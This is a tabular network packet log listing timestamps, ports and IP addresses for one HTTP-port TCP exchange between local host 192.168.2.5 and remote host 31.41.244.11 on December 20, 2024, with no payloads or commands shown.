Dec 20, 2024 13:12:13.423652887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.423703909 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.427139997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.427453041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.427468061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.427483082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.427525997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.427572012 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.427598953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.427959919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.428018093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.428250074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.428296089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.428988934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.429039001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.429433107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.429481983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.429795027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.429838896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.430542946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.430740118 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.430788040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.431673050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.431730032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.432140112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.432188988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.432862043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.432908058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.433684111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.433698893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.433758974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.433814049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.433918953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.435106039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.435230017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.435925961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.435965061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.435985088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.436016083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.436023951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.436081886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.437149048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.437184095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.437211037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.437237024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.438290119 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.438323975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.438349962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.438376904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.439277887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.439341068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.439441919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.439497948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.440459967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.440526009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.441124916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.441179037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.441514015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.441546917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.441570044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.441597939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.442672014 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.442729950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.442886114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.442943096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.443861961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.443897009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.443923950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.443945885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.444889069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.444948912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.445046902 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.445100069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.446048975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.446101904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.446182013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.446238041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.447693110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.447750092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.449965954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450000048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450023890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.450032949 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450048923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.450068951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450086117 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.450105906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450134039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.450165033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.450687885 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450871944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.450876951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.450926065 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.451793909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.451855898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.452732086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.452790022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.453049898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.453107119 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.453505039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.453561068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.453979969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.454041004 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.587359905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.587457895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.587496042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.587563038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.587639093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.587675095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.587698936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.587728024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.588782072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.588818073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.588850021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.588876009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.589870930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.589927912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.590065956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.590121031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.590986013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.591044903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.591187954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.591257095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.592148066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.592206001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.592585087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.592642069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.593224049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.593281984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.593439102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.593497038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.594383001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.594440937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.594662905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.594718933 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.595458031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.595515966 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.595817089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.595879078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.596772909 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.596827030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.596946001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.597002029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.598160028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.598216057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.598362923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.598438025 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.599114895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.599174976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.599632025 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.599690914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.600104094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.600161076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.600508928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.600565910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.601185083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.601241112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.601385117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.601480007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.602210999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.602274895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.603404045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.603466034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.603522062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.603557110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.603580952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.603615999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.604604006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.604659081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.604681969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.604741096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.605520964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.605583906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.605988979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.606048107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.606713057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.606770039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.606987000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.607047081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.607781887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.607845068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.608390093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.608449936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.608892918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.608954906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.609968901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.610023975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.610028028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.610059977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.610075951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.610111952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.611156940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.611213923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.611296892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.611351013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.612452984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.612515926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.612550020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.612607956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.613511086 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.613574028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.614264965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.614326000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.614550114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.614607096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.615256071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.615307093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.615652084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.615714073 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.615752935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.615811110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.616903067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.616960049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.617139101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.617194891 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.617913961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.617975950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.618493080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.618551016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.619055986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.619121075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.619673967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.619730949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.620151043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.620183945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.620210886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.620240927 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.621268988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.621330976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.621396065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.621450901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.622350931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.622410059 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.623115063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.623184919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.623613119 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.623660088 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.623682022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.623706102 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.624556065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.624609947 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.624654055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.624716043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.625762939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.625832081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.625863075 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.625921965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.626840115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.626898050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.627026081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.627082109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.627953053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.628015995 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.628355980 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.628428936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.629091978 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.629156113 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.629781961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.629842043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.630333900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.630388975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.630513906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.630575895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.631345034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.631408930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.631599903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.631656885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.632479906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.632514954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.632544994 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.632569075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.633610010 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.633645058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.633668900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.633694887 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.634772062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.634830952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.634907961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.634984016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.635785103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.635848999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.635912895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.635965109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.636944056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.636979103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.637006044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.637032986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.638026953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.638077974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.638279915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.638339043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.639400005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.639462948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.639977932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.640038967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.640614986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.640667915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.641700029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.641733885 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.641755104 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.641767979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.641783953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.641822100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.642570972 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.642627001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.642785072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.642844915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.643667936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.643728018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.643810987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.643867970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.644745111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.644828081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.644876003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.644938946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.645823956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.645879984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.780415058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.780484915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.780574083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.780622959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.780733109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.780750036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.780781984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.780807018 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.781837940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.781898975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.782130957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.782183886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.782959938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.783020973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.783548117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.783601999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.784215927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.784234047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.784266949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.784291029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.785185099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.785238028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.785593987 CET	80	49831	31.41.244.11	192.168.2.5
